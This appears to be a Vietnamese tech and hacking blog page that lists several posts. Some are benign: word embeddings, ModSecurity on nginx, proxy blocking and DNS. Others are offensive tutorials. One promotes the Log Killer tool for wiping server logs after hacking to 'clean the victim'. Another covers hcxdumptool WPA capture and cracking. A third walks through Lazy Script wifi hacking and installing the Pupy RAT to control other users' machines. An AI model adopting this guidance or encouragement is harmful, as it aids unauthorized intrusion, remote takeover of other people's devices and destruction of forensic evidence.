Home Blog Page 3

Word embedding: Máy tính hiểu ngôn ngữ như thế nào?

0
Chúng ta đã nghe nhiều về các ứng dụng của xử lí ngôn ngữ tự nhiên (NLP) hệ thống trả lời câu hỏi, chatbot, phân tích thái độ,… Để thực hiện được những nhiệm vụ đó, máy tính cần phải “hiểu” từ ngữ. Vậy làm thế nào máy tính có thể “hiểu” được từ ngữ trong khi nó vốn rất phức tạp (một đứa trẻ sinh ra cũng mất nhiều thời gian để hiểu và dùng được ngôn ngữ một cách cơ bản). Phương pháp học biểu diễn ngôn ngữ word embedding hiện nay đang chiếm ưu thế và phổ biến hơn cả.

One-hot encoding

Trong xử lí ngôn ngữ tự nhiên truyền thống, từ ngữ được coi là những biểu tượng rời rạc và mỗi từ được biểu diễn bằng một one-hot vector (vector với 1 chiều có giá trị = 1 và các chiều còn lại đều có gía trị 0). Như vậy, số chiều của vector (dimension) bằng số lượng từ trong từ điển chúng ta sử dụng.
Tuy nhiên, việc biểu diễn từ ngữ bằng one-hot vector gặp phải vấn đề lớn là
  • Thứ nhất: Số chiều (dimension) của vector quá lớn (bằng kích thước số từ trong từ điển)
  • Thứ hai: không thể biểu diễn được tính tương đồng giữa 2 từ.

Ví dụ:

2 từ “hotel” và “motel” có nét tương đồng, 2 từ này được biểu diễn one-hot như sau:

    • hotel = [0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0]
    • motel = [0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0]

Dễ thấy, 2 vector này trực giao, ta không thể tính toán được tính tương đồng giữa chúng 🙁

Một giải pháp cho vấn đề này là sử dụng WordNet.
WordNet (mạng từ) là một cơ sở dữ liệu từ vựng tiếng Anh. Nó nhóm các từ tiếng Anh thành các tập hợp đồng nghĩa gọi là loạt đồng nghĩa, cung cấp các định nghĩa ngắn gọn và các ví dụ sử dụng, và ghi lại số lượng các quan hệ giữa các loạt đồng nghĩa này hay các thành viên của chúng.
Mạng từ khắc phục điểm yếu về tính tương đồng giữa các từ của one-hot encoding nhưng chưa thực sự triệt để. Nó còn một số vấn đề gặp phải:
  • Không biểu diễn được sắc thái của từ. Ví dụ “proficient” nằm trong nhóm từ đồng nghĩa vời “good” tuy nhiên các từ này có sắc thái khác nhau
  • Không có những ý nghĩa mới của từ khi từ ngữ được cập nhật ý nghĩa theo thời gian
  • Cơ sở dữ liệu này chủ quan theo ý kiến của nhóm người xây dựng ra nó (Cognitive Science Laboratory of Princeton University)
  • Cần đòi hỏi sức lao động để tạo và chỉnh sửa dữ liệu
  • Khó khăn để tính toán độ chính xác sự tương tự giữa các từ
Với những điểm yếu gặp phải, mạng từ không còn là lựa chọn hữu ích. Trên thực tế, chúng ta có thể lấy được nhiều giá trị đại diện cho từ ngữ thông qua các từ xung quanh nó.
Ví dụ :
  • “Rằm tháng 8 là tết thiếu nhi, còn gọi là trung thu. Ở Việt Nam, tết thiếu nhi được tổ chức với nhiều trò chơi cho các em nhỏ”. Từ đó, ta có thể tìm ra ý nghĩa của từ “tết thiếu nhi” qua các từ xung quanh nó và hiểu rằng. “tết thiếu nhi”, “trung thu”, “rằm tháng tám” mang cùng một ý nghĩa.

Ví dụ khác về từ “ăn”:

  • Tôi đang ăn cơm.
  • Tôi đi ăn cưới.
  • Cô ấy rất ăn ảnh.

Vậy ở đây, để hiểu được nghĩa của từ ăn, chúng ta phải học từ các từ xung quanh nó.

Một cách để lấy được lân cận của một từ là dùng ma trận đồng xuất hiện (co-occurrence matrix)

Co-occurrence matrix

Tuy đã có thể biểu diễn được mỗi liên hệ được từ qua các từ lân cận, song ma trận đồng xuất hiện rất lớn, cần không gian lưu trữ lớn và mỗi từ có tính rời rạc.
Vấn đề kích thước lớn có thể được khắc phục bằng việc giảm chiều vector với phương pháp Singular Value Decomposition (SVD) phân tích thành tích các ma trận trong đại số tuyến tính. (Chi khí tính toán khá lớn)
Tuy nhiên, vấn đề tính rời rạc của từ phải được giải quyết bằng phương pháp nhúng từ vựng (word embedding)

Word embedding

Định nghĩa: Word embedding là tập hợp các mô hình ngôn ngữ và kĩ thuật học đặc trưng trong xử lí ngôn ngữ tự nhiên (NLP), cái mà từ hoặc cụm từ được ánh xạ đến một vector số thực.
Năm 2013, Tomas Mikolov et al – nhóm nghiên cứu ở google đưa ra phương án giải quyết vấn đề một cách hoàn toàn mới – mô hình word2vec.

Word2vec

Word2vec là phương pháp có thể tính toán khoảng cách của tất cả các từ. Word2vec học từ đầu vào là các trích lục lớn của văn bản. Tất cả các từ trong từ điển được biểu diễn bởi một vector (hàng trăm chiều). Với mỗi vị trí t, tính toán xác suất các từ xung quanh O (outside) từ trung tâm C (center) hay tính xác suất từ trung tâm C từ các từ xung quanh O. Và nhiệm vụ của mô hình là điều chỉnh các word vector để maximize xác suất này.

Từ từ banking tính xác suất các từ xung quanh

CBOW và Skip-gram

  • Skip-gram: Dự đoán từ xung quanh O dựa vào từ trung tâm C.
  • Continuous Bag of Words (CBOW): Dự đoán từ trung tâm C dựa vào các từ xung quanh O.

Hàm mục tiêu (Objective function)

Window size = m là số lượng các từ trước, sau từ thứ t được coi là lân cận của thừ thứ t.
P là xác suất để từ t + j xảy ra khi có từ thứ t. Duyệt qua các từ ta tính ra Likelihood
Hàm mục tiêu xây dựng bằng cách lấy log hàm Likelihood L()

Kết quả

 

P(o|c) tính bằng softmax function

Kết quả cho thấy phương pháp này hoạt động khá tốt mối liên hệ về ngữ nghĩa giữa các từ. Các từ sau khi từ đã được nhúng vào không gian vector, nếu đem tính toán bằng các phép toán học có thể thấy được mối liên hệ giữa các từ.

Ví dụ
Ta có 4 từ “vua”, “hoàng hậu”, “đàn ông”, “phụ nữ” thứ tự là các vector V, H, Đ, P. Ta có V – H = Đ – P. Khi đó, nếu bài toán là tìm từ có mối liên hệ với từ “phụ nữ” tương tự cách từ “vua” có mối liên hệ với “hoàng hậu”. Ta thực hiện việc tính toán V – H + P = Đ. Bằng việc tính toán qua vector như vậy, ta có thể dự đoán được “đàn ông” chính là từ cần tìm thấy. Trên thực tế, các vector này có số chiều (dimension) lên đến hàng trăm chiều.
Với số lượng hàng trăm chiều, nhiều mối quan hệ giữa các từ được thể hiện dưới các vector của nó.
loading...

Xóa mọi dấu vết trên Linux/Windows Server với Log Killer

0

Hello mọi người, trước giờ trên blog mình mới chỉ dừng lại ở việc hướng dẫn các kiến thức về hacking, cracking và bảo mật, chú tâm vào việc đi hack mà quên mất rằng sau khi hack, việc xóa dấu vết cũng là một việc khá quan trọng. Chính vì vậy nay mình giới thiệu với mọi người một công cụ có tên Log Killer, nó sẽ giúp bạn “rửa tay” và “rửa cả nạn nhân” sau khi hack xong.

Log Killer là một công cụ được thiết kế cho Linux và Windows Server. Công cụ có một chức năng duy nhất đó là xóa toàn bộ log trên server. Nếu server bạn chạy Windows OS thì bạn chỉ cần tải file batch về. Tuy nhiên nếu server chạy Linux thì bạn cần phải cài đặt PHP trước và chạy PHP script của tool.

Một số screenshot:

Log Killer batch trên Windows

Log Killer script trên Linux

Bonus thêm cho các bạn một video tham khảo :

Chúc các bạn thành công và luôn nhớ xóa dấu vết sau khi thực hiện dù chỉ là test kĩ năng của bản thân.

Nếu các bạn có thắc mắc nào đừng quên comment để mình và mọi người cùng thảo luận nha 😀

loading...

Bắt gói tin từ các thiết bị trong Wlan với Hcxdumptool

0

Chào mọi người, cũng khá lâu rồi mình không có thời gian để ngồi viết bài mới chia sẻ kinh nghiệm, phần mềm cho các bạn. Nay nhân dịp mình tìm được một công cụ khá hay nên ngồi viết bài chia sẻ luôn tool có tên là Hcxdumptool. Công cụ này giúp bạn theo dõi và bắt các gói tin được gửi đi qua mạng wlan mà bạn đang tham gia. Sau khi đã bắt được gói tin thì bạn có thể truy cập vào ĐÂY để tải lên file CAP và phân tích nó theo common wordlist có sẵn của trang web.

Chuyển đổi file cap thành hccapx hoặc thành hashline WPA-PMKID-PBKDF2 (16800) bằng hcxpcaptool (hcxtools) và kiểm tra xem wlan-key hoặc plainmasterkey có được truyền đi mà không mã hóa hay không.

1. Giới thiệu công cụ Hcxdumptool

Đây là một tool chạy độc lập được, nó được thiết kế cho Arch Linux và Pi, tuy nhiên bạn có thể chạy nó trên các nền tảng Linux-based khác mà không gặp phải vấn đề gì cả.

Thêm một chút chi tiết về bộ công cụ này

Tool Description
hcxdumptool Công cụ giúp bạn phát hiện xem AP của bạn có lỗ hổng bảo mật nào không
pioff Turns Raspberry Pi off via GPIO switch

2. Complie công cụ Hcsxdumptool

Complie tool này thì đơn giản, chắc không có gì phải bàn, bạn chỉ cần gõ :

make
make install (as super user)

Và nếu phần cứng của bạn hỗ trợ, bạn nên complie nó với GPIO support

make GPIOSUPPORT=on
make GPIOSUPPORT=on install (as super user)

3. Yêu cầu để cài được công cụ bắt data qua mạng lan Hcxdumptool

  • Hệ điều hành : Arch Linux hoặc Linux-based
  • Các thư viện cần có : libpthread và pthread-dev
  • Card mạng và chipset có hỗ trợ chế độ monitor
  • Raspberry Pi A, B, A+, B+

Một số Adapter đã được test và hoạt động tốt:

  • USB ID 148f:7601 Ralink Technology, Corp. MT7601U Wireless Adapter
  • USB ID 148f:3070 Ralink Technology, Corp. RT2870/RT3070 Wireless Adapter
  • USB ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter
  • USB ID 0bda:8187 Realtek Semiconductor Corp. RTL8187 Wireless Adapter
  • USB ID 0bda:8189 Realtek Semiconductor Corp. RTL8187B Wireless 802.11g 54Mbps Network Adapter

Đọc thêm :

Một số script hữu ích nếu bạn cần :

Script Description
bash_profile Autostart for Raspberry Pi (copy to /root/.bash_profile)
pireadcard Back up a Pi SD card
piwritecard Restore a Pi SD card
makemonnb Example script to activate monitor mode
killmonnb Example script to deactivate monitor mode

4. Download Hcxdumptool

Bạn có thể tải Hcxdumptool tại đây

Chúc bạn thành công, nếu có bất cứ vấn đề gì bạn có thể comment bên dưới.

loading...

Hack Wifi dễ dàng hơn với Lazy Script

2

Các công cụ hack Wifi đang ngày càng trở nên dễ tìm và dễ dùng đối với người mới bắt đầu, và như tiêu đề, LAZY script không chỉ là tool hack wifi mà nó là một framework chứa rất nhiều tool. Nó có thể dễ dàng bắt được gói tin WPA handshake, thêm nữa là Lazy Script đúng với tên của nó, lazy, dễ tải, dễ cài, dễ phân tích 😀 Lười cũng làm được 😀

Đây là video của NullByte về script này dành cho bạn nào có khả năng nghe hiểu tiếng Anh.

Attack Frameworks

Hầu hết các công cụ hack Wi-Fi mới dựa trên nhiều khung thực hiện cơ bản giống nhau, và các kịch bản tự động hóa bằng các công cụ quen thuộc khác như Airplay-ng thường được gọi là các framework. Cácframework này sẽ thực hiện tổ chức hành động, công cụ để tối ưu cho người sử dụng.

Một ví dụ của các công cụ này là các chương trình tích hợp các công cụ quét như Airodump-ng, công cụ tấn công như WPS Pixie-Dust và các công cụ bẻ khóa như Aircrack-ng để tạo method tấn công rất dễ làm và dễ hiểu dành cho người mới bắt đầu. Kết quả của việc sử dụng thành thạo framework mang lại rất tốt, thậm chí nếu thành thao thì kết quả còn hơn cả làm thủ công.

Đọc thêm

Lazy Script chỉ giúp chúng ta lười đi

Đúng như tên gọi Lazy của nó, Lazy Script tích hợp khá nhiều công cụ bên trong giúp chúng ta lười hơn mà vẫn được việc. Các công cụ cơ bản như xem IP gateway, MAC address hay tool giúp tìm ra toàn bộ máy đang dùng là ARP Scanner cũng được tích hợp vào tool và có thể dễ dàng truy cập qua Menu.

Các submenu nhỏ được chia thành từng phần theo chức năng của chúng. Những cái quan trọng nhất như là handshakes, WPS PIN attacks, WEP attacks, MitM attacks được liệt kê ở đây. Những menu có màu đỏ nghĩa là bạn chưa cài đặt nó. Để cài đặt thì bạn gõ số rồi gõ “install” để tiến hành cài đặt. Ví dụ :

Tool is not installed. To install it type 'install'.
install
Installing Dagon
Tool by Ekultek
Cloning into 'dagon'...
remote: Counting objects: 1236, done.
remote: Total 1236 (delta 0), reused 0 (delta 0), pack-reused 1235
Receiving objects: 100% (1236/1236), 319.35 KiB | 1.76 MiB/s, done.
Resolving deltas: 100% (666/666), done.
Collecting pysha3==1.0.2 (from -r requirements.txt (line 1))
Downloading https://files.pythonhosted.org/packages/c5/bb/7d793dfab828e01adb46e3c5976fe99acda12a954c728427cceb2acd7ee9/pysha3-1.0.2-cp27-cp27mu-manylinux1_x86_64.whl (127kB)
100% |██████████████████████████████| 133kB 1.5MB/s
Requirement already satisfied: requests in /usr/lib/python2.7/dist-packages (from -r requirements.txt (line2))
Collecting colorlog==2.10.0 (from -r requirements.tx (line 3))
Downloading https://files.pythonhosted.org/packages/61/ff/d6337d488739c1a7ade37f736880e44717bcb0e7cea178c17774a4a93700/colorlog-2.10.0-py2.py3-none-any.whl
Requirement already satisfied: passlib=1.7.1 in /usr/lib/python2.7/dist-packages (from -r requirements.txt (line4))
Collecting bcrypt==3.1.3 (from -r requirements.txt (line 5))
Downloading https://files.pythonhosted.org/packages/a6/da/5d7ac371b4c9a8ac9e8ea62cff7c090e9d7d7b7ea3f2ad8b8c8da65db058/bcrypt-3.1.3-cp27-cp27mu-manylinux1_x86_64.whl (57kB)
100% |██████████████████████████████| 61kB 9.9MB/s
Requirement already satisfied: six>=1.4.1 in /usr/lib/python2.7/dist-packages (from bcrypt==3.1.3->-r requirements.txt (line 5))
Collecting cffi>=1.1 (from bcrypt==3.1.3->-r requirements.txt (line 5))
Downloading https://files.pythonhosted.org/packages/14/dd/3e7a1e1280e7d767bd3fa15791759c91ec19058ebe31217fe66f3e9a8c49/cffi-1.11.5-cp27-cp27mu-manylinux1_x86_64.whl (407kB)
100% |██████████████████████████████| 409kB 2.1MB/s
Collecting pycparser (from cffi>=1.1->bcrypt==3.1.3->-r requirements.txt (line 5))
Downloading https://files.pythonhosted.org/packages/8c/2d/aad7f16146f4197a11f8e91fb81df177adcc2073d36a17b1491fd09df6ed/pycparser-2.18.tar.gz (245kB)
100% |██████████████████████████████| 256kB 2.8MB/s
Building wheels for collected packages: pycparser

Các bước cài đặt Lazy Script

Bước 1: Cập nhật Kali Linux

Để sử dụng được script này, bạn cần câp nhật lên phiên bản mới nhất của Kali Linux. Để cập nhật toàn bộ Kali Linux, bạn cũng có thể gõ lệnh sau :

apt update
apt upgrade

Tất nhiên hai lệnh trên cần được chạy với quyền root, cái này mình không cần nói nữa nhé 😀

Bước 2 : Tìm tên Adapter mạng của bạn

Để sử dụng được, bạn cần chuyển adapter mạng qua chế độ monitor, và cần cung cấp tên adapter cho tool.

Để xem được tên bạn gõ như sau :

iwconfig wlan0 mode monitor
ip a

Bước 3: Tải và cài đặt Lazy Script

Cái đặt cái tool tên là Lazy cho nên nó cũng rất là lazy luôn.

cd
git clone https://github.com/arismelachroinos/lscript.git
cd lscript
chmod +x install.sh
./install.sh

Gõ xong như vậy đợi chạy xong là bạn đã có cái Lazy này rồi 😀 Sau khi chạy xong, bạn mở một Terminal mới và gõ : để khởi chạy script này, chấp nhận các promt mà nó hỏi bạn trong lần đầu tiên.

Khi đến bước cài đặt interfaces, nó sẽ yêu cầu bạn nhập tên adapter vào, bạn nhập tên đã lấy được ở bước 2 vào đây.

Bước 4: Sử dụng một số công cụ network cơ bản trong Lazy Script

Trước hết, công cụ hack Wifi Lazy Script cung cấp cho chúng ta tool cơ bản nhất để xem được thông tin về mạng Wifi mà chúng ta đang kết nối ( cũng giống như hầu hết các tool khác đều có chức năng xem thông tin mạng Wifi). Gõ và Lazy Script sẽ hiển thị thông tin mạng local.


Local IPs:
eth0 = 192.168.86.42

Gateways:
eth0 = 192.168.86.1
Press any key to go back...

Tool hack Wifi Lazy Script cũng cung cấp cho bạn tool quét các thiết bị khác xung quanh thiết bị chính. Các lệnh như là :

  • if: chạy lệnh này sẽ hiển thị các mạng Wifi có sẵn xung quanh.
  • 1: Mở wlan0 ( Bấm d1 để tắt)
  • 2: Mở wlan0mon ( Bấm d2 để tắt)
  • 3: Random MAC hoặc set một giá trị cụ thể cho MAC
  • 7: Hiển thị IP public của máy bạn ( IP mà các trang website sẽ bắt được khi bạn duyệt web)
  • 19: Xác định cơ bản chính xác vị trí của IP
  • scan : Chạy ARP scan để tìm thiết bị xung quanh.
  • start: bắt đầu chế độ monitor
  • stop: ngừng monitor

Bước 5 : Tìm hiểu và cài thêm plugin cho công cụ hack wifi Lazy Script

Một phần rất hay của tool hack wifi Lazy Script đó là chúng ta có thể cài thêm tool mới dễ dàng. Để demo thì trong bài viết này, mình sẽ tiến hành tải Pupy, một Python-based RAT giúp chúng ta có thể kiểm soát được máy một người dùng khác trong mạng. Bấm số  để hiển thị list các tool hack wifi trong Lazy Script. Ở menu này, các tool được chia nhỏ thành nhiều danh mục khác nhau tiện cho việc quản lí và cài đặt.

  • 1 – Wi-Fi tools (công cụ hack mạng Wifi).
  • 2 – Remote access (công cụ tấn công máy khác từ xa).
  • 3 – Information gathering (công cụ thu thập dữ liệu người dùng hoặc website).
  • 4 – Website tools (công cụ khai thác lỗ hổng bảo mật website).
  • 5 – Other (một vài tool thú vị khác)

Để tải Pupy thì bạn chọn option 2, chọn tiếp tùy chọn số 3 ở menu sổ ra các công cụ hack wifi. Tiếp đó bạn gõ : install  để xác thực và Lazy script sẽ làm nốt cho bạn.

Tool is not installed. To install it type 'install'.
install
Installing Pupy
Tool by n1nj4sec
Cloning into 'pupy'...
remote: Counting objects: 16472, done.
remote: Compressing objects: 100% (35/35), done.
remote: Total 16472 (delta 20), reused 47 (delta 20), pack-reused 16416
Receiving objects: 100% (16472/16472), 27.77 MiB | 4.99 MiB/s, done.
Resolving deltas: 100% (11706/11706), done.

Sau khi script cài xong bạn chọn lại tùy chọn 3 để sử dụng Pupy. Như vậy là xong.

1) Generate a payload
2) Start listener
b) Go back
00) Main menu
0) EXIT

Ngoài các công cụ mình giới thiệu thì Lazy Script còn rất nhiều các công cụ hack wifi mạnh mẽ khác trên máy tính đang đợi bạn khám phá. Hãy comment hoặc chia sẻ bài viết nếu bạn thấy nó hay.

Chúc bạn thành công 😀

 

loading...

Chống truy cập bằng Proxy cho website

0

Một trong những yêu cầu của một website bán hàng trên mạng là xác minh được người dùng thật đăng ký để tránh bị các đơn hàng ảo gây ra các rắc rối không cần thiết khi quản lý đơn hàng cho admin. Chưa kể website có thanh toán bằng visa chúng ta cần tránh bị thành nạn nhân của các vụ rửa tiền bằng thẻ visa ăn cắp được. nếu có chúng ta hoàn toàn có thể tra ra thủ phạm rửa tiền ngay lập tức.

Hôm nay mình sẽ share cho các bạn một công cụ ngăn chặn người dùng sử dụng proxy và vpn khi vào website của chúng ta và người dùng chỉ có thể dùng IP thật để truy cập sử dụng dịch vụ.

Công cụ này có tên proxycheck trang chủ proxycheck.io. Đối với các bạn dùng wordpress các bạn có thể sử dụng plugin của họ Proxy & VPN Blocker

Công cụ này cho phép chặn tối đa 1000 lượt proxy và vpn trong một ngày với tài khoản miễn phí. Với tài khoản có phí thì số lượng request được nhiều hơn nhưng có vẻ không có gói unlimited :))) Số lượng có vẻ hơi ít nhưng cũng đủ cho các website việt nam mức nhỏ và vừa hiện nay.

Công này còn cho các bạn các API để phát triển trên nhiều nền tảng khác nhau chi tiết các bạn có thể xem code mẫu tại đây

Kết quả sau khi cài và mình truy cập bằng Proxy của Hola

Chúc các bạn thành công!

loading...

Cài đặt Modsecurity cho server chạy nginx

0

ModSecurity là một sản phẩm thuộc dự án OWASP, cho phép người dùng cấu hình, tùy chỉnh các phương thức phát hiện tấn công vào web server. Phiên bản ModSecurity hiện tại đã hỗ trợ Apache, Nginx và IIS. Cùng với dự án ModSecurity Core Rule Set thì việc triển khai hệ thống WAF càng dễ dàng hơn cho nhân viên hệ thống cũng như các chuyên viên bảo mật.

Mod_Security là một module mở rộng cho các chương trình web server như Apache, Nginx, IIS và hoạt động như một firewall tại lớp ứng dụng web. Cùng với sự gia tăng về phương pháp tấn công web thì mod_security cũng đã cập nhật những rule và đưa ra nhiều cách phòng chống trong mã nguồn của chương trình. Một số tính chất mà mod_security có thể dùng làm Web Application Firewall:

Tính linh động (Flexibility)

Việc phân tích luồng HTTP theo một tiêu chí nhất định trong thực tế thường gặp vấn đề là làm sao để có thể so trùng mẫu mà bạn muốn. Ngoài ra, do nhu cầu của từng hệ thống web là khác nhau dẫn đến việc phân tích trên từng loại ứng dụng cũng khác nhau. Mod_security đã kết hợp với OWASP phát triển các tập rule mẫu (Core Rule Set) nhằm tạo ra tính linh động cho từng mô hình web khác nhau, hỗ trợ người quản trị phân tích theo nhu cầu thực tế của hệ thống đang quản trị.

Tính thụ động (Passivity)

ModSecurity sẽ không thực thi các tác vụ nếu như người quản trị viên không chỉ định công việc cụ thể cho chương trình, việc này là khá quan trọng trong một ứng dụng có nhiệm vụ phân tích nguy cơ như ModSecurity. Mọi cảnh báo sẽ được thực hiện thông qua cơ chế phân tích và quyết định tương tác với hệ thống sẽ do người quản trị thực hiện.

Chức Năng ModSecurity

ModSecurity hoạt động với chương trình web server (ví dụ: Apache) sẽ thực hiện các tác vụ như sau:

Parsing

ModSecurity sẽ phân tách các dữ liệu luân chuyển qua hệ thống thành cấu trúc dữ liệu mà ModSecurity định nghĩa sẵn. Cấu trúc này sẽ được chuyển qua cơ chế so trùng mẫu trong tập rule để phân tích nguy cơ.

Buffering

Chức năng buffer (đệm) đóng vai trò khá quan trọng trong cơ chế hoạt động của ModSec. Việc này có ý nghĩa khi các request gởi đến ứng dụng web thì phải thông qua ModSecurity trước khi đến ứng dụng xử lý và những response cũng sẽ được phân tích trước khi trả về phía client. Cơ chế này là cách duy nhất để có thể ngăn chặn các cuộc tấn công thời gian thực, các dữ liệu mà ModSecurity nhận được và phân tích sẽ được lưu trữ trong RAM (bao gồm request body và response data)

Logging

ModSecurity hỗ trợ ghi nhật ký các gói tin HTTP: request headers, request body, response header, response body nhằm hỗ trợ người quản trị phân tích nguy cơ mà hệ thống đang gặp phải để có thể ra quyết định kiểm soát.

Rule Engine

Các tập mẫu trong ModSecurity đóng vai trò quan trọng trong việc phát hiện các dạng tấn công và thực hiện phòng chống. ModSecurity cùng phát triển với dự án OWASP phát triển các mẫu để phân tích và phòng chống các tấn công hệ thống web (Tham khảo https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project)

Cài Đặt  Modsecurity

Cài các thư viện cần thiết cho mosecurity

yum install @httpd-devel apr apr-util-develapr-devel pcre pcre-devel libxml2 libxml2-devel

Tải về bộ cài đặt Modsecurity

Cài Đăt Modsecurity

Thêm ModSecurity module Cho nginx

Đọc thêm : Tôi đã hack trang Sendo.vn như thế nào ?

Sau khi biên dịch Standalone, thêm ModSecurity module thông qua “–add-module” trong quá trình biên dịch nginx:

root@localhost modsecurity-2.8.0# ./configure--add-module=/root/modsecurity-2.9.1/nginx/modsecurity/ --prefix=/opt/tengine
root@localhost modsecurity-2.8.0# make
root@localhost modsecurity-2.8.0# make install

ModSecurity được thiết kế để lọc và ngăn chặn các mối nguy hiểm trên web. Sức mạnh của nó xuất phát từ các quy tắc của nó. Các quy tắc do OWASP cung cấp được duy trì bởi các tình nguyện viên và được gọi là các quy tắc cốt lõi (CRS). Họ là đáng tin cậy và mạnh mẽ, nhưng họ cũng có thể được tùy chỉnh để đáp ứng các yêu cầu khác nhau.

Thêm Bộ Lọc

root@localhost# git clone ~@https://github.com/SpiderLabs/owasp-modsecurity-crs
root@localhost# mv owasp-modsecurity-crs /opt/tengine/conf/
root@localhost# cd/opt/tengine/conf/owasp-modsecurity-crs && mvmodsecurity_crs_10_setup.conf.example modsecurity_crs_10_setup.conf

Kích Hoạt OWASP rules

Sao chép modsecurity.conf-recommended và unicode.mapping dưới thư mục mã nguồn ModSecurity vào thư mục con nginx conf và đổi tên modsecurity.conf thành modsecurity.conf.

Chỉnh sửa tệp modsecurity.conf và đặt SecRuleEngine thành Bật. Giá trị mặc định DetectOnly là chế độ quan sát. Mình khuyên bạn nên sử dụng chế độ này theo mặc định trong khi cài đặt và quan sát xem nó có ảnh hưởng không mong muốn trên trang web và máy chủ hay không.

Có rất nhiều thư mục để lưu trữ các quy tắc trong owasp-modsecurity-crs chẳng hạn như base_rules, experiment_rules, optional_rules và slr_rules. Bạn có thể kích hoạt các quy tắc bạn cần bằng cách bao gồm chúng trong modsecurity.conf

Includeowasp-modsecurity-crs/modsecurity_crs_10_setup.conf
Includeowasp-modsecurity-crs/base_rules/modsecurity_crs_41_sql_injection_attacks.conf
Include owasp-modsecurity-crs/base_rules/modsecurity_crs_41_xss_attacks.conf
Includeowasp-modsecurity-crs/base_rules/modsecurity_crs_40_generic_attacks.conf
Include owasp-modsecurity-crs/base_rules /modsecurity_crs_45_trojans.confwebshell

Xem xét tác động có thể xảy ra đối với hiệu suất của máy chủ, bạn nên chỉ thêm quy tắc phòng thủ cho các lỗ hổng nghiêm trọng để bảo vệ chống lại các cuộc tấn công web quan trọng nhất hiện tại.

Cấu Hình Nginx

Thêm các dòng sau vào vị trí của máy chủ ModSecurity cần được kích hoạt:
ModSecurityEnabled ON;
ModSecurityConfig modsecurity.conf;
Sau đây là các ví dụ về cấu hình của máy chủ ảo ảo conf hoặc tệp vhost:

server {
listen 80;
server_name anonymousvn.org www.anonymousvn.org;
location ~ \.php$ {
ModSecurityEnabled on;
ModSecurityConfig modsecurity.conf;
root /web/webroot;
index index.php index.html index.htm;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $Document_root$fastcgi_script_name;
include fastcgi_params;
}
}

Tham khảo : https://vouu-blog.site/archives/modsecurity-for-nginx/

loading...

Các Máy Chủ Phân Giản DNS Miễn Phí Tốt Nhất

0

DNS là từ viết tắt trong tiếng Anh của Domain Name System, là Hệ thống phân giải tên được phát minh vào năm 1984 cho Internet, chỉ một hệ thống cho phép thiết lập tương ứng giữa địa chỉ IP và tên miền. Hệ thống tên miền (DNS) là một hệ thống đặt tên theo thứ tự cho máy vi tính, dịch vụ, hoặc bất kỳ nguồn lực tham gia vào Internet. Nó liên kết nhiều thông tin đa dạng với tên miền được gán cho những người tham gia. Quan trọng nhất là, nó chuyển tên miền có ý nghĩa cho con người vào số định danh (nhị phân), liên kết với các trang thiết bị mạng cho các mục đích định vị và địa chỉ hóa các thiết bị khắp thế giới.

Phép tương thường được sử dụng để giải thích hệ thống tên miềnlà, nó phục vụ như một “Danh bạ điện thoại” để tìm trên Internet bằng cách dịch tên máy chủ máy tính thành địa chỉ IP

Ví dụ, www.example.com dịch thành 208.77.188.166.

Hệ thống tên miền giúp cho nó có thể chỉ định tên miền cho các nhóm người sử dụng Internet trong một cách có ý nghĩa, độc lập với mỗi địa điểm của người sử dụng. Bởi vì điều này, World-Wide Web (WWW) siêu liên kết và trao đổi thông tin trên Internet có thể duy trì ổn định và cố định ngay cả khi định tuyến dòng Internet thay đổi hoặc những người tham gia sử dụng một thiết bị di động. Tên miền internet dễ nhớ hơn các địa chỉ IP như là 208.77.188.166 (IPv4) hoặc 2001: db8: 1f70:: 999: de8: 7648:6 e8 (IPv6).

Mọi người tận dụng lợi thế này khi họ thuật lại có nghĩa các URL và địa chỉ email mà không cần phải biết làm thế nào các máy sẽ thực sự tìm ra chúng.

Hệ thống tên miền phân phối trách nhiệm gán tên miền và lập bản đồ những tên tới địa chỉ IP bằng cách định rõ những máy chủ có thẩm quyền cho mỗi tên miền. Những máy chủ có tên thẩm quyền được phân công chịu trách nhiệm đối với tên miền riêng của họ, và lần lượt có thể chỉ định tên máy chủ khác độc quyền của họ cho các tên miền phụ. Kỹ thuật này đã thực hiện các cơ chế phân phối DNS, chịu đựng lỗi, và giúp tránh sự cần thiết cho một trung tâm đơn lẻ để đăng ký được tư vấn và liên tục cập nhật. Nhìn chung, Hệ thống tên miền cũng lưu trữ các loại thông tin khác, chẳng hạn như danh sách các máy chủ email mà chấp nhận thư điện tử cho một tên miền Internet. Bằng cách cung cấp cho một thế giới rộng lớn, phân phối từ khóa – cơ sở của dịch vụ đổi hướng , Hệ thống tên miền là một thành phần thiết yếu cho các chức năng của Internet. Các định dạng khác như các thẻ RFID, mã số UPC, ký tự Quốc tế trong địa chỉ email và tên máy chủ, và một loạt các định dạng khác có thể có khả năng sử dụng DNS.

I: Chức năng của DNS

Mỗi Website có một tên (là tên miền hay đường dẫn URL:Universal Resource Locator) và một địa chỉ IP. Địa chỉ IP gồm 4 nhóm số cách nhau bằng dấu chấm(Ipv4). Khi mở một trình duyệt Web và nhập tên website, trình duyệt sẽ đến thẳng website mà không cần phải thông qua việc nhập địa chỉ IP của trang web. Quá trình “dịch” tên miền thành địa chỉ IP để cho trình duyệt hiểu và truy cập được vào website là công việc của một DNS server. Các DNS trợ giúp qua lại với nhau để dịch địa chỉ “IP” thành “tên” và ngược lại. Người sử dụng chỉ cần nhớ “tên”, không cần phải nhớ địa chỉ IP (địa chỉ IP là những con số rất khó nhớ)

II: Cách sử dụng DNS

Do các DNS có tốc độ biên dịch khác nhau, có thể nhanh hoặc có thể chậm, do đó người sử dụng có thể chọn DNS server để sử dụng cho riêng mình. Có các cách chọn lựa cho người sử dụng. Sử dụng DNS mặc định của nhà cung cấp dịch vụ (internet), trường hợp này người sử dụng không cần điền địa chỉ DNS vào network connections trong máy của mình. Sử dụng DNS server khác (miễn phí hoặc trả phí) thì phải điền địa chỉ DNS server vào network connections. Địa chỉ DNS server cũng là 4 nhóm số cách nhau bởi các dấu chấm.

Nguyên tắc làm việc của DNS

